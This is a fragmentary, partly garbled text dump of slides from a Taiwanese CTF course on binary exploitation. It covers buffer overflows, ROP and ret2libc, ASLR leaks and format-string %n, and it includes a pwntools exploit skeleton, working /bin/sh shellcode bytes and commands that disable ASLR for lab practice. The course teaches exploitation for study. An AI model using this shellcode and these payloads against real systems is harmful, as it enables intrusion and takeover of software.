121
PWN Basic II UEPIyOUVTU!羝峫瞗瓴⫛䯯㕡绮テ∽⨫

TDOH x 台科 pwn課程

Embed Size (px)

Citation preview

Page 1: TDOH x 台科 pwn課程

PWN Basic II

Page 2: TDOH x 台科 pwn課程

….

Page 3: TDOH x 台科 pwn課程

PWN )

Page 4: TDOH x 台科 pwn課程

QAQ

Page 5: TDOH x 台科 pwn課程

<(_ _)>

Page 6: TDOH x 台科 pwn課程

• Ubuntu VM

• practices.tar.gz

Page 7: TDOH x 台科 pwn課程

PWN

Page 8: TDOH x 台科 pwn課程

PWN CTFCTF

Page 9: TDOH x 台科 pwn課程

• IP port

Page 10: TDOH x 台科 pwn課程

Overflow

Page 11: TDOH x 台科 pwn課程

btw…btw..

Page 12: TDOH x 台科 pwn課程

Overflow

Page 13: TDOH x 台科 pwn課程

Overflow

Page 14: TDOH x 台科 pwn課程

....... ?

Page 15: TDOH x 台科 pwn課程

Outline• Buffer Overflow

• ROP ( Return Oriented Programing )

• ret2libc

• ret2text

• gadgets

• format string vulnerability

• CTF ( Attack & Defense )

Page 16: TDOH x 台科 pwn課程

Buffer Overflow

Page 17: TDOH x 台科 pwn課程
Page 18: TDOH x 台科 pwn課程

x86 Stack Layout

buffer >>

EBPReturn Address

Arg 1Arg 2

EBPEBP + 0x04EBP + 0x08EBP + 0x0C

EBP - 0x04EBP - 0x08

Page 19: TDOH x 台科 pwn課程

Buffer Overflowvoid Function( arg1, arg2 ) {

char buffer[16];……scanf(“%s”, &buffer);……

}

push ebpmov ebp, espsub ebp, 0x10……

———>

———>

buffer

EBPReturn Address

arg1arg2…

EBPEBP + 0x04EBP + 0x08EBP + 0x0C

EBP - 0x04EBP - 0x08

———>

EBP - 0x0CEBP - 0x10

Page 20: TDOH x 台科 pwn課程

Buffer Overflowvoid Function( arg1, arg2 ) {

char buffer[16];……scanf(“%s”, &buffer);……

}

———>

Page 21: TDOH x 台科 pwn課程

AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA AAAAAA

Buffer Overflow

Page 22: TDOH x 台科 pwn課程

Buffer Overflow

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…

EBPEBP + 0x04EBP + 0x08EBP + 0x0C

EBP - 0x04EBP - 0x08EBP - 0x0CEBP - 0x10

Page 23: TDOH x 台科 pwn課程

Buffer Overflow

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…

EBPEBP + 0x04EBP + 0x08EBP + 0x0C

EBP - 0x04EBP - 0x08EBP - 0x0CEBP - 0x10

buffer

EBPReturn Address

arg1arg2…

EBPEBP + 0x04EBP + 0x08EBP + 0x0C

EBP - 0x04EBP - 0x08EBP - 0x0CEBP - 0x10

Before After

Page 24: TDOH x 台科 pwn課程

Buffer OverflowBuffer Overflow……leaveret

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…

ESP >>

Page 25: TDOH x 台科 pwn課程

Buffer Overflowret = pop eip

jmp AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…

ESP >>

Page 26: TDOH x 台科 pwn課程

Control EIP ?

Buffer Overflow

Page 27: TDOH x 台科 pwn課程

Practice #1

Page 28: TDOH x 台科 pwn課程

Practice #1

Page 29: TDOH x 台科 pwn課程

Step #1• Return Address ?

• buffer

• pwntools (http://pwntools.com/)

Page 30: TDOH x 台科 pwn課程

Step #2•

Page 31: TDOH x 台科 pwn課程

Step #3from pwn import *

r = process('./pratice1')eip = payload = 'a' * + p32(eip)

r.sendline(payload)r.interactive()

Page 32: TDOH x 台科 pwn課程

system(“/bin/sh”)

Page 33: TDOH x 台科 pwn課程
Page 34: TDOH x 台科 pwn課程

AAAAAAAAAAAAAAAAAAAA

0x8000f04 or -> jmp esp

shellcode

0x8000f000x8000f040x8000f08

0x8000ffc0x8000ff80x8000ff40x8000ff00x8000fec

Buffer Overflow

Page 35: TDOH x 台科 pwn課程

Practice #2

Page 36: TDOH x 台科 pwn課程

Step #1

Find Return Address

Page 37: TDOH x 台科 pwn課程

Step #2• Stack

• gdb ? gdb stack

• coredump $ ulimit -c unlimited$ sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern’

• jmp esp

Page 38: TDOH x 台科 pwn課程

Step #2

Page 39: TDOH x 台科 pwn課程

Step #2jmp esp ?

Page 40: TDOH x 台科 pwn課程

Step #3ShellCode

ShellCodenasm DIY

scanf 0x0b 0x0a 0x00 … etc

shellcode

Page 41: TDOH x 台科 pwn課程

Step #3Step #3 08048062 <starter>: 8048062: 31 c0 xor eax,eax 8048064: 40 inc eax 8048065: 40 inc eax 8048066: 40 inc eax 8048067: 40 inc eax 8048068: 40 inc eax 8048069: 40 inc eax 804806a: 40 inc eax 804806b: 40 inc eax 804806c: 40 inc eax 804806d: 40 inc eax 804806e: 40 inc eax 804806f: 31 c9 xor ecx,ecx 8048071: 51 push ecx 8048072: 68 2f 2f 73 68 push 0x68732f2f 8048077: 68 2f 62 69 6e push 0x6e69622f 804807c: 89 e3 mov ebx,esp 804807e: 31 d2 xor edx,edx 8048080: cd 80 int 0x80

ebx = “bin/sh\x00”

ecx= 0

eax= 11

edx = 0execve

Page 42: TDOH x 台科 pwn課程

Step #3shellcode =

“\x31\xc0\x40\x40”“\x40\x40\x40\x40”“\x40\x40\x40\x40”“\x40\x31\xc9\x51”“\x68\x2f\x2f\x73”“\x68\x68\x2f\x62”“\x6e\x89\xe3\x31”“\xd2\xcd\x80”

Page 43: TDOH x 台科 pwn課程

Step #4• payload =

‘a’ * ?? + stack_address + shellcode

• Write Exploit ~~~

Page 44: TDOH x 台科 pwn課程
Page 45: TDOH x 台科 pwn課程

DEPData Execution Prevention

Page 46: TDOH x 台科 pwn課程
Page 47: TDOH x 台科 pwn課程
Page 48: TDOH x 台科 pwn課程

aaaaaaaaaaaaaaaa

aaaa0xffffcff4

Shell Code

0xffffcff00xffffcff40xffffcff8

0xffffcfe80xffffcfec

0xffffcfe40xffffcfe00xffffcfdc

ShellCode Stack ...

Page 49: TDOH x 台科 pwn課程

Stack RRRRRRRRRRR

Page 50: TDOH x 台科 pwn課程

ROPReturn Oriented Programing

Page 51: TDOH x 台科 pwn課程

ROP

ret ret

Page 52: TDOH x 台科 pwn課程

ROPret ret ret ret ret ret ret

Page 53: TDOH x 台科 pwn課程

ROP

Page 54: TDOH x 台科 pwn課程

ROP

Page 55: TDOH x 台科 pwn課程

ROPret2libc

DEP return stack

return

libc.so

system(“/bin/sh”);

Page 56: TDOH x 台科 pwn課程

system(“bin/sh”);

ROP - ret2libc

Page 57: TDOH x 台科 pwn課程

ROP - ret2libcaaaaaaaaaaaaaaaa

aaaasystem

fake ret address

“/bin/sh”

0xffffcff00xffffcff40xffffcff8

0xffffcfe80xffffcfec

0xffffcfe40xffffcfe00xffffcfdc

0xffffcffc

<— return system

<- return

<- system “/bin/sh”

Page 58: TDOH x 台科 pwn課程

Practice #3

Page 59: TDOH x 台科 pwn課程

Step #1

Find Return Address

Page 60: TDOH x 台科 pwn課程

Step #2• system ?

• “/bin/sh” ?

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Page 61: TDOH x 台科 pwn課程

Step #3• Write Payload

aaaaaaaaaaaaaaaa

aaaasystem addr

fake ret address

“/bin/sh”

Page 62: TDOH x 台科 pwn課程

ROPret2text

return code / plt

PIE text

static link Code

Page 63: TDOH x 台科 pwn課程

ROP gadgets

Page 64: TDOH x 台科 pwn課程

ROP - gadgetspop edxret

xor eax,eaxret

push espret

mov eax,ebxret

Page 65: TDOH x 台科 pwn課程

ROP - gadgetsR/W Register:pop eaxret

R/W Memory:pop edxpop eaxmov [eax],edxret

Logical Operation:xor eax,eaxand eax,ecx

Page 66: TDOH x 台科 pwn課程

ROP chainpop edxret

pop eaxret

0x080481c9

controll edx

0x08043a24

controll eax

...

...

0x080481c9

0x08043a24

...ret

Page 67: TDOH x 台科 pwn課程

ROP - gadgets

Page 68: TDOH x 台科 pwn課程

gadgets?

ROP - gadgets

Page 69: TDOH x 台科 pwn課程

ROP - gadgets

ROPgadget.py

https://github.com/JonathanSalwan/ROPgadget

Page 70: TDOH x 台科 pwn課程

ROPgadget.py• ret gadgets

• ROP chain

Page 71: TDOH x 台科 pwn課程

Practice #4

Page 72: TDOH x 台科 pwn課程

• ROPgadget

• objdump -d filename

• | less less

Page 73: TDOH x 台科 pwn課程
Page 74: TDOH x 台科 pwn課程

ASLRAddress Space Layout Randomization

Page 75: TDOH x 台科 pwn課程

ASLR

Stack

Heap

Shared Libary…….

libc

Page 76: TDOH x 台科 pwn課程

ASLR• cat /proc/<pid>/maps section

• ASLR shared lib stack heap

Page 77: TDOH x 台科 pwn課程
Page 78: TDOH x 台科 pwn課程

....

Page 79: TDOH x 台科 pwn課程

system “/bin/sh”

aaaaaaaaaaaaaaaa

aaaasystem

fake ret address

“/bin/sh”

0xffffcff00xffffcff40xffffcff8

0xffffcfe80xffffcfec

0xffffcfe40xffffcfe00xffffcfdc

0xffffcffc

ASLR

Page 80: TDOH x 台科 pwn課程

ASLR libc gadgets….

...libc

Page 81: TDOH x 台科 pwn課程

ASLR

Page 82: TDOH x 台科 pwn課程

?

Page 83: TDOH x 台科 pwn課程

system

Page 84: TDOH x 台科 pwn課程

• Libc

• Libc

• got.plt

• system…

Page 85: TDOH x 台科 pwn課程

• oveflow binary puts write fwrite …… got stdout

• got

• system ‘bin/sh’

• overflow system(“/bin/sh”)

Page 86: TDOH x 台科 pwn課程

aaaaaaaaaa….

plt_write

vulner_function

0

got_write

4

Page 87: TDOH x 台科 pwn課程

aaaaaaaaaa….

system

0

&“bin/sh”

Page 88: TDOH x 台科 pwn課程

Practice #5

Page 89: TDOH x 台科 pwn課程

• pwntools ELF binary

• pwntools ELF.symbol[func_name] plt

• pwntools ELF.got[function_name] got

• puts leak got

• system ”bin/sh”

Page 90: TDOH x 台科 pwn課程

format string Vulnerability

... ... XD

Page 91: TDOH x 台科 pwn課程

scanf printf

Page 92: TDOH x 台科 pwn課程

printf

Page 93: TDOH x 台科 pwn課程

scanf

Page 94: TDOH x 台科 pwn課程

...printf format String

Page 95: TDOH x 台科 pwn課程

%n..?

Page 96: TDOH x 台科 pwn課程

%n•

• Ex.

• printf(“12345%n”, &a):

• 5 a

Page 97: TDOH x 台科 pwn課程

• format String %n

• %hn %hhn

• %n 4 byte (int)

• %hn 2 byte (short)

• %hhn 1 byte (byte)

Page 98: TDOH x 台科 pwn課程

....

Page 99: TDOH x 台科 pwn課程

3

Page 100: TDOH x 台科 pwn課程
Page 101: TDOH x 台科 pwn課程

payload der(X

Page 102: TDOH x 台科 pwn課程

IOWrapper

Page 103: TDOH x 台科 pwn課程

IO Wrapper•

• flag

• der

Page 104: TDOH x 台科 pwn課程

IO Wrapper• printf puts …… etc

• scanf gets ...... etc /

Page 105: TDOH x 台科 pwn課程

IO WrapperIO Wrapper Process 1

Process 2

Process …

execvp

socket server

Page 106: TDOH x 台科 pwn課程

IO Wrapper• ?

• fork()

• pid_t pid = fork();if ( pid == 0 ) { /* sub process */ execvpe(…);} else { /* parent */}

Page 107: TDOH x 台科 pwn課程

IO Wrapper• stdin/stdout ?

• pipe

• pipe : pipe() dup2()

Page 108: TDOH x 台科 pwn課程

IO Wrapper• while ( true ) { fread(stdin, ….. ); /* may blocked */ fwrite(stdin_of_sub_process,…..); fread(stdin, ….. ); /* may blocked */ fwrite(stdout, …..); }

IO Blocked

Page 109: TDOH x 台科 pwn課程

select

Page 110: TDOH x 台科 pwn課程

IO Wrapper

• select() and pselect() allow a program to monitor multiple file descriptors, waiting until one or more of the file descriptors become "ready" for some class of I/O operation (e.g., input possible). A file descriptor is considered ready if it is possible to perform a corresponding I/O operation (e.g., read(2) without blocking, or a sufficiently small write(2)).

http://man7.org/linux/man-pages/man2/select.2.html

Page 111: TDOH x 台科 pwn課程
Page 112: TDOH x 台科 pwn課程

• file descriptor (fd) fd

• blocked

Page 113: TDOH x 台科 pwn課程

select

fd

Page 114: TDOH x 台科 pwn課程

select http://goo.gl/RKIOeO

Page 115: TDOH x 台科 pwn課程

LD_PRELOAD

Page 116: TDOH x 台科 pwn課程

LD_PRELOAD• LD_PRLOAD

• library

Page 117: TDOH x 台科 pwn課程

LD_PRELOAD• mylib.c

#include <stddef.h>#include <stdio.h>

int puts(const char * str) {/* */

}

Page 118: TDOH x 台科 pwn課程

LD_PRELOAD• main.c

#include <stdlib.h>#include <stdio.h>

void main(int argc,char * argv[]) { puts(“Hello World”);}

Page 119: TDOH x 台科 pwn課程

LD_PRELOAD• $ gcc -Wall -fpic -shared -o mylib.so mylib.c

• $ gcc -o main main.c

• $ LD_PRELOAD=./mylib.so

• $ ./main

Page 120: TDOH x 台科 pwn課程

<(_ _)>

Page 121: TDOH x 台科 pwn課程

Reference• http://drops.wooyun.org/tips/6597

• AIS3 Binary Exploit

• http://pwntools.readthedocs.org/en/latest/dynelf.html

• http://www.slideshare.net/hackstuff/rop-40525248